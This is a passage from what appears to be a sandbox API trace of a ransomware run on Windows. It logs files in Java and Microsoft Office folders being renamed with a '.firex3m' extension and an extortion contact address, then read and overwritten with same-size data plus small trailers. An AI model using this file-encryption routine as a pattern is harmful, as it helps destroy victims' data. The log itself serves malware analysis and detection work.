returned 1 [0117.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0117.151] CloseHandle (hObject=0x6cc) returned 1 [0117.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JJSEXE~1.FIR")) returned 0x6d5200 [0117.152] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0117.152] GetProcessHeap () returned 0x630000 [0117.152] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e61) returned 0x722b6c0 [0117.152] GetProcessHeap () returned 0x630000 [0117.152] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e61) returned 0x722f530 [0117.152] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.152] ReadFile (in: hFile=0x6cc, lpBuffer=0x722b6c0, nNumberOfBytesToRead=0x3e40, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722b6c0*, lpNumberOfBytesRead=0x673ff0c*=0x3e40, lpOverlapped=0x0) returned 1 [0118.676] GetProcessHeap () returned 0x630000 [0118.676] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0118.676] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.676] WriteFile (in: hFile=0x6cc, lpBuffer=0x722f530*, nNumberOfBytesToWrite=0x3e40, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722f530*, lpNumberOfBytesWritten=0x673ff0c*=0x3e40, lpOverlapped=0x0) returned 1 [0118.676] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.676] WriteFile (in: hFile=0x6cc, lpBuffer=0x723336f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723336f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.677] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.677] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.677] CloseHandle (hObject=0x6cc) returned 1 [0118.678] GetProcessHeap () returned 0x630000 [0118.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722f530 | out: hHeap=0x630000) returned 1 [0118.678] GetProcessHeap () returned 0x630000 [0118.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722b6c0 | out: hHeap=0x630000) returned 1 [0118.678] GetProcessHeap () returned 0x630000 [0118.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0118.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcaf77da, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e64, dwReserved0=0x95c7496, dwReserved1=0x722b6b8, cFileName="jjs.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JJSEXE~1.FIR")) returned 0x6d4e40 [0118.678] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0118.678] Sleep (dwMilliseconds=0x1) [0120.595] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", len=0x4c | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 1 [0120.595] GetProcessHeap () returned 0x630000 [0120.595] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d8) returned 0x66a3e0 [0120.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0120.639] CloseHandle (hObject=0x67c) returned 1 [0120.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x3, dwReserved1=0x800001, cFileName="AppXManifestLoc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~1.FIR")) returned 0x6d5280 [0120.641] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0120.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0120.641] GetProcessHeap () returned 0x630000 [0120.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2681) returned 0x6fd3928 [0120.642] GetProcessHeap () returned 0x630000 [0120.642] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2681) returned 0x721d210 [0120.642] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.642] ReadFile (in: hFile=0x67c, lpBuffer=0x6fd3928, nNumberOfBytesToRead=0x2660, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd3928*, lpNumberOfBytesRead=0x673ff0c*=0x2660, lpOverlapped=0x0) returned 1 [0121.921] GetProcessHeap () returned 0x630000 [0121.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0121.921] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.921] WriteFile (in: hFile=0x67c, lpBuffer=0x721d210*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721d210*, lpNumberOfBytesWritten=0x673ff0c*=0x2660, lpOverlapped=0x0) returned 1 [0121.921] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.921] WriteFile (in: hFile=0x67c, lpBuffer=0x721f86f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721f86f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0121.921] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.921] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0121.922] CloseHandle (hObject=0x67c) returned 1 [0122.015] GetProcessHeap () returned 0x630000 [0122.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721d210 | out: hHeap=0x630000) returned 1 [0122.015] GetProcessHeap () returned 0x630000 [0122.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd3928 | out: hHeap=0x630000) returned 1 [0122.015] GetProcessHeap () returned 0x630000 [0122.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0123.380] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe9f612c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x268b, dwReserved0=0x95c7496, dwReserved1=0x6fd3920, cFileName="AppXManifestLoc.en-us.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~1.FIR")) returned 0x6d5200 [0123.381] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.383] Sleep (dwMilliseconds=0x1) [0123.841] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 1 [0123.841] GetProcessHeap () returned 0x630000 [0123.841] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x15c) returned 0x66a3e0 [0123.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0124.709] CloseHandle (hObject=0x4dc) returned 1 [0124.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APDE9E~1.FIR")) returned 0x6d5200 [0124.710] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0124.711] GetProcessHeap () returned 0x630000 [0124.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70134d0 [0124.711] GetProcessHeap () returned 0x630000 [0124.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x701e900 [0124.712] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.712] ReadFile (in: hFile=0x4dc, lpBuffer=0x70134d0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70134d0*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.973] GetProcessHeap () returned 0x630000 [0127.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0127.973] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.973] WriteFile (in: hFile=0x4dc, lpBuffer=0x701e900*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701e900*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0130.027] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.027] WriteFile (in: hFile=0x4dc, lpBuffer=0x7029cff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7029cff*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0130.042] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.043] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0130.043] CloseHandle (hObject=0x4dc) returned 1 [0130.070] GetProcessHeap () returned 0x630000 [0130.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x701e900 | out: hHeap=0x630000) returned 1 [0130.070] GetProcessHeap () returned 0x630000 [0130.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70134d0 | out: hHeap=0x630000) returned 1 [0130.070] GetProcessHeap () returned 0x630000 [0130.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0131.474] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x137af40e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112a72, dwReserved0=0x95c7496, dwReserved1=0x70134c8, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APDE9E~1.FIR")) returned 0x6d5200 [0131.474] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.475] Sleep (dwMilliseconds=0x1) [0131.500] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties", len=0x44 | out: pbstr=0x673ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 1 [0131.500] GetProcessHeap () returned 0x630000 [0131.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x48) returned 0x66a3e0 [0131.500] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.501] CloseHandle (hObject=0x694) returned 1 [0131.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MED57E~1.FIR")) returned 0x6d4f40 [0131.502] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0131.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.502] GetProcessHeap () returned 0x630000 [0131.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18e1) returned 0x6f60af8 [0131.502] GetProcessHeap () returned 0x630000 [0131.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18e1) returned 0x707ebd0 [0131.502] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.502] ReadFile (in: hFile=0x694, lpBuffer=0x6f60af8, nNumberOfBytesToRead=0x18c0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60af8*, lpNumberOfBytesRead=0x673ff0c*=0x18c0, lpOverlapped=0x0) returned 1 [0131.527] GetProcessHeap () returned 0x630000 [0131.527] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0131.527] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.527] WriteFile (in: hFile=0x694, lpBuffer=0x707ebd0*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707ebd0*, lpNumberOfBytesWritten=0x673ff0c*=0x18c0, lpOverlapped=0x0) returned 1 [0131.528] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.528] WriteFile (in: hFile=0x694, lpBuffer=0x708048f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708048f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.528] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.528] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.528] CloseHandle (hObject=0x694) returned 1 [0131.529] GetProcessHeap () returned 0x630000 [0131.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707ebd0 | out: hHeap=0x630000) returned 1 [0131.529] GetProcessHeap () returned 0x630000 [0131.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f60af8 | out: hHeap=0x630000) returned 1 [0131.529] GetProcessHeap () returned 0x630000 [0131.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0131.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, 